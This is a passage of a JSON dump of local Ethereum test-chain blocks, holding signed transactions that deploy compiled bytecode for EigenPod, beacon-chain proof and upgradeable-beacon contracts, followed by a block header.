60248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a20496e76616c696460648201527f206c617465737420626c6f636b2068656164657220726f6f74206d65726b6c6560848201526510383937b7b360d11b60a482015260c4016106a4565b50505050565b60008061230784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff16600281111561237657612376614e91565b600281111561238757612387614e91565b90525090506000816060015160028111156123a4576123a4614e91565b1461244d5760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2056616c696461746f72206d757374206265206960648201527f6e61637469766520746f2070726f7665207769746864726177616c2063726564608482015266656e7469616c7360c81b60a482015260c4016106a4565b61245561287c565b61245e90615839565b61249a86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061343c92505050565b146125215760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2050726f6f66206973206e6f7420666f7220746860648201526a1a5cc8115a59d95b941bd960aa1b608482015260a4016106a4565b600061255f86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b905061256f8a87878b8b8e613476565b6039805490600061257f8361585d565b90915550506001606083015264ffffffffff891682526001600160401b038b811660408401527f000000000000000000000000000000000000000000000000000000000000000081169082161115612605576001600160401b037f0000000000000000000000000000000000000000000000000000000000000000166020830152612615565b6001600160401b03811660208301525b6000838152603660209081526040918290208451815492860151938601516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516919092161792909217928316821781556060850151859391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b8360028111156126b3576126b3614e91565b02179055505060405164ffffffffff8b1681527f2d0800bbc377ea54a08c5db6a87aafff5e3e9c8fead0eda110e40e0c10441449915060200160405180910390a17f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df898c846020015160405161274e9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1633b9aca0082602001516001600160401b031661277391906157a0565b9b9a5050505050505050505050565b6000815160301461280b5760405162461bcd60e51b815260206004820152604760248201527f456967656e506f642e5f63616c63756c61746556616c696461746f725075626b60448201527f657948617368206d75737420626520612034382d6279746520424c53207075626064820152666c6963206b657960c81b608482015260a4016106a4565b604051600290612822908490600090602001615876565b60408051601f198184030181529082905261283c916158a5565b602060405180830381855afa158015612859573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d0491906154b8565b60408051600160f81b60208201526000602182015230606090811b6bffffffffffffffffffffffff1916602c8301529101604051602081830303815290604052905090565b60008061290084848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b9050600061294085858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff1660028111156129af576129af614e91565b60028111156129c0576129c0614e91565b8152505090508a6001600160401b031681604001516001600160401b031610612a775760405162461bcd60e51b815260206004820152605c60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20566160448201527f6c696461746f72732062616c616e63652068617320616c72656164792062656560648201527f6e207570646174656420666f7220746869732074696d657374616d7000000000608482015260a4016106a4565b600181606001516002811115612a8f57612a8f614e91565b14612af75760405162461bcd60e51b815260206004820152603260248201527f456967656e506f642e76657269667942616c616e63655570646174653a2056616044820152716c696461746f72206e6f742061637469766560701b60648201526084016106a4565b612b008b612003565b6001600160401b0316612b458787808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031611612be8576000836001600160401b031611612be85760405162461bcd60e51b815260206004820152604d60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20766160448201527f6c696461746f7220697320776974686472617761626c6520627574206861732060648201526c3737ba103bb4ba34323930bbb760991b608482015260a4016106a4565b612bf68987878b8b8f613476565b602081015160006001600160401b037f000000000000000000000000000000000000000000000000000000000000000081169086161115612c5857507f0000000000000000000000000000000000000000000000000000000000000000612c5b565b50835b6001600160401b0380821660208086019182528f831660408088019182526000898152603690935290912086518154935192518516600160801b0267ffffffffffffffff60801b19938616600160401b026001600160801b031990951691909516179290921790811683178255606086015186939091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b836002811115612d0357612d03614e91565b0217905550905050816001600160401b0316816001600160401b031614612d8f577f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df8c8e83604051612d7a9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1612d8c81836136e5565b95505b5050505050979650505050505050565b61185f8282613704565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261168690849061381d565b6040805180820190915260008082526020820152612e20612e1b89615926565b6138ef565b6033546001600160401b03600160a01b90910481169082161015612ee25760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e70726f6f664973466f7256616c696454696d657374616d60448201527f703a20626561636f6e20636861696e2070726f6f66206d75737420626520617460648201527f206f72206166746572206d6f7374526563656e745769746864726177616c546960848201526606d657374616d760cc1b60a482015260c4016106a4565b6000612ef0612e1b8b615926565b90506000612f3088888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b905060008082815260366020526040902054600160c01b900460ff166002811115612f5d57612f5d614e91565b036130135760405162461bcd60e51b815260206004820152607460248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a2056616c696461746f72206e657665722070726f76656e20746f2060648201527f68617665207769746864726177616c2063726564656e7469616c7320706f696e6084820152731d1959081d1bc81d1a1a5cc818dbdb9d1c9858dd60621b60a482015260c4016106a4565b60008181526035602090815260408083206001600160401b038616845290915290205460ff16156130d25760405162461bcd60e51b815260206004820152605b60248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a207769746864726177616c2068617320616c72656164792062656560648201527f6e2070726f76656e20666f7220746869732074696d657374616d700000000000608482015260a4016106a4565b6001603560008381526020019081526020016000206000846001600160401b03166001600160401b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506131af8c87878e7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166344e71c806040518163ffffffff1660e01b8152600401602060405180830381865afa158015613186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131aa9190615a78565b6138ff565b60006131ed87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061432092505050565b90506131fd8d8a8a8e8e86613476565b600061323b88888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061433892505050565b90506132798a8a808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031661329361328e8f615926565b614350565b6001600160401b03161061334b57603354600084815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b81049093169381019390935261334093869388938a936001600160a01b03909316928892916060830190600160c01b900460ff16600281111561332757613327614e91565b600281111561333857613338614e91565b905250614362565b955050505050613365565b60335461334090839086906001600160a01b0316846145a0565b5098975050505050505050565b603354604051633036cd5360e21b81526001600160a01b03918216600482015283821660248201527f00000000000000000000000000000000000000000000000000000000000000009091169063c0db354c9083906044016000604051808303818588803b1580156133e357600080fd5b505af11580156133f7573d6000803e3d6000fd5b50505050505050565b60008361340e86858561467e565b1495945050505050565b60008160008151811061342d5761342d615517565b60200260200101519050919050565b60008160018151811061342d5761342d615517565b6000610d048260028151811061346957613469615517565b60200260200101516147cd565b61348260036002615b7c565b841461350d5760405162461bcd60e51b815260206004820152604e60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2056616c696461746f72206669656c64732068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b600561351b60286001614c64565b6135259190614c64565b6135309060206157a0565b82146135b05760405162461bcd60e51b815260206004820152604360248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2050726f6f662068617320696e636f7272656374206c656e6064820152620cee8d60eb1b608482015260a4016106a4565b600064ffffffffff82166135c660286001614c64565b600b901b179050600061360b87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b905061365185858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250859150869050613400565b6136c35760405162461bcd60e51b815260206004820152603d60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a20496e76616c6964206d65726b6c652070726f6f6600000060648201526084016106a4565b5050505050505050565b6000610d048260078151811061346957613469615517565b60006136fd6001600160401b03808416908516615b88565b9392505050565b804710156137545760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016106a4565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146137a1576040519150601f19603f3d011682016040523d82523d6000602084013e6137a6565b606091505b50509050806116865760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016106a4565b6000613872826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614acd9092919063ffffffff16565b805190915015611686578080602001905181019061389091906153a2565b6116865760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016106a4565b6000610d048261014001516147cd565b61390a600280615b7c565b831461397e5760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c4669656c64732068617320696e636f7272656064820152680c6e840d8cadccee8d60bb1b608482015260a4016106a4565b61398a600d6002615b7c565b61399a60c0840160a08501615ba8565b6001600160401b031610613a045760405162461bcd60e51b815260206004820152603f6024820152600080516020615bf083398151915260448201527f616c3a20626c6f636b526f6f74496e64657820697320746f6f206c617267650060648201526084016106a4565b613a1060046002615b7c565b613a21610100840160e08501615ba8565b6001600160401b031610613a8d576040805162461bcd60e51b8152602060048201526024810191909152600080516020615bf083398151915260448201527f616c3a207769746864726177616c496e64657820697320746f6f206c6172676560648201526084016106a4565b613a9960186002615b7c565b613aa960e0840160c08501615ba8565b6001600160401b031610613b235760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279496e64657820697320746f6064820152666f206c6172676560c81b608482015260a4016106a4565b60006001600160401b038216613b3b612e1b85615926565b6001600160401b031610613b50576005613b53565b60045b9050613b60600482614c64565b613b6b906001614c64565b613b769060206157a0565b613b8084806154d1565b905014613bf45760405162461bcd60e51b81526020600482015260486024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c50726f6f662068617320696e636f727265636064820152670e840d8cadccee8d60c31b608482015260a4016106a4565b613c0060046003614c64565b613c0b9060206157a0565b613c1860408501856154d1565b905014613c925760405162461bcd60e51b815260206004820152604e6024820152600080516020615bf083398151915260448201527f616c3a20657865637574696f6e5061796c6f616450726f6f662068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b613c9e600360206157a0565b613cab60208501856154d1565b905014613d195760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20736c6f7450726f6f662068617320696e636f7272656374206c656e676064820152610e8d60f31b608482015260a4016106a4565b613d248160206157a0565b613d3160608501856154d1565b905014613da45760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a2074696d657374616d7050726f6f662068617320696e636f7272656374606482015266040d8cadccee8d60cb1b608482015260a4016106a4565b600d613db260186001614c64565b613dbd906005614c64565b613dc8906001614c64565b613dd29190614c64565b613ddd9060206157a0565b613dea60808501856154d1565b905014613e735760405162461bcd60e51b81526020600482015260586024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279426c6f636b526f6f74507260648201527f6f6f662068617320696e636f7272656374206c656e6774680000000000000000608482015260a4016106a4565b6000613e8560c0850160a08601615ba8565b6001600160401b03166000613e9c600d6001614c64565b613eac60e0880160c08901615ba8565b6001600160401b0316901b600d613ec560186001614c64565b613ed0906001614c64565b613eda9190614c64565b601b901b1717179050613f35613ef360808601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508b9250505061010087013584613400565b613fa85760405162461bcd60e51b815260206004820152604a6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420686973746f726963616c73756d6d617279206d656064820152693935b63290383937b7b360b11b608482015260a4016106a4565b613fff613fb860208601866154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506101008a013593506101208a013592509050613400565b61405f5760405162461bcd60e51b815260206004820152603d6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420736c6f74206d65726b6c652070726f6f6600000060648201526084016106a4565b60496140b761407160408701876154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050505061010087013561016088013584613400565b6141295760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420657865637574696f6e5061796c6f6164206d657260648201526835b63290383937b7b360b91b608482015260a4016106a4565b5061418161413a60608601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608601356101408701356009613400565b6141ec5760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20496e76616c69642074696d657374616d70206d65726b6c652070726f60648201526137b360f11b608482015260a4016106a4565b60006141ff610100860160e08701615ba8565b6001600160401b031661421460046001614c64565b600e901b179050600061425988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000000000000006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000000000000006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212204b19fa9947cba29e97e68bf849da2e6bf42b15e660145561f6083ab4b30b3f0164736f6c634300081c003300000000000000000000000042424242424242424242424242424242424242420000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc3180000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000000000000000000000000000000000000773594000000000000000000000000000000000000000000000000000000000006059f460","r":"0x9a815d4bec70ed7d2c5b4b92441566a9d632dedb8fe5f56ed90d3b57f5f47c01","s":"0x42bb33e0d9a485c6a0da223604f5c37c2d25967cfa2cdb1e2119ab734a2ebe84","yParity":"0x1","hash":"0x90f4d6d687fdeeb70ae24526214e277bc35de59aad3771f8613c843ab92031f6"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xb","gas":"0x5b8ea","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788","r":"0xd56139486c75b623487313fe5593f69d67b861422ee3a1183c0351e0940bde05","s":"0x715be808934440ce4eadda182688e0c2617560331170e85b93ef42745f13fdd","yParity":"0x1","hash":"0xf63348d9d494abf9775ab12c8f00d13e58abb43735511d6fbdcbc50bdfbfdd46"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xfd37e91c70fb8db2a78606dea4b34a09d4778acdde9f66ed5e2e542cfa1ec7da","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0c753eac3d5a74eff6016358a95f6c0b161dcba2722fe62948cac4752341c132","transactionsRoot":"0x2be7553a5865adbc6bff815f04f505c924560d3c96a50089e7cffa58510bcdcd","receiptsRoot":"0xe8296af17e54e8f4a8746cf8b3b1e0c54684b30b6d2ec46e28d7849a63f486e4","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400